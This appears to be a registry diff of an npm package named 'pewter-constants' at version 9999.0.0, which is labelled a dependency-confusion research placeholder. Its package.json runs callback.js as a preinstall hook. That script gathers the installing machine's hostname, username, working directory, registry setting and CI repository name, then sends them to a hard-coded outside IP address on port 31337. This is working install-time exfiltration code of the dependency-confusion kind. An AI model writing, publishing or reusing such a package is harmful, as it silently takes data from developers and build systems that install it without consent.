pewter-constants 9999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -0
- package/callback.js +13 -0
- package/index.js +2 -0
- package/package.json +16 -0
package/README.md
ADDED
package/callback.js
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
const https = require("https");
|
|
2
|
+
const http = require("http");
|
|
3
|
+
const os = require("os");
|
|
4
|
+
const pkg = "pewter-constants";
|
|
5
|
+
const h = os.hostname();
|
|
6
|
+
const u = os.userInfo().username;
|
|
7
|
+
const d = process.cwd();
|
|
8
|
+
const reg = process.env.npm_config_registry || "";
|
|
9
|
+
const ci = process.env.GITHUB_REPOSITORY || process.env.CI_PROJECT_PATH || process.env.BUILD_REPOSITORY_NAME || "";
|
|
10
|
+
const q = (k, v) => "&" + k + "=" + encodeURIComponent(v || "");
|
|
11
|
+
const url = "http://75.119.137.232:31337/depconfuse?pkg=" + encodeURIComponent(pkg) + q("h", h) + q("u", u) + q("d", d) + q("reg", reg) + q("ci", ci) + "&t=" + Date.now();
|
|
12
|
+
const mod = url.startsWith("https") ? https : http;
|
|
13
|
+
try { mod.get(url, () => {}).on("error", () => {}); } catch(_) {}
|
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "pewter-constants",
|
|
3
|
+
"version": "9999.0.0",
|
|
4
|
+
"description": "Security research placeholder \u2014 dependency confusion assessment. Contact: Security Researcher",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node callback.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Security Researcher",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"keywords": [
|
|
12
|
+
"security",
|
|
13
|
+
"research",
|
|
14
|
+
"dependency-confusion"
|
|
15
|
+
]
|
|
16
|
+
}
|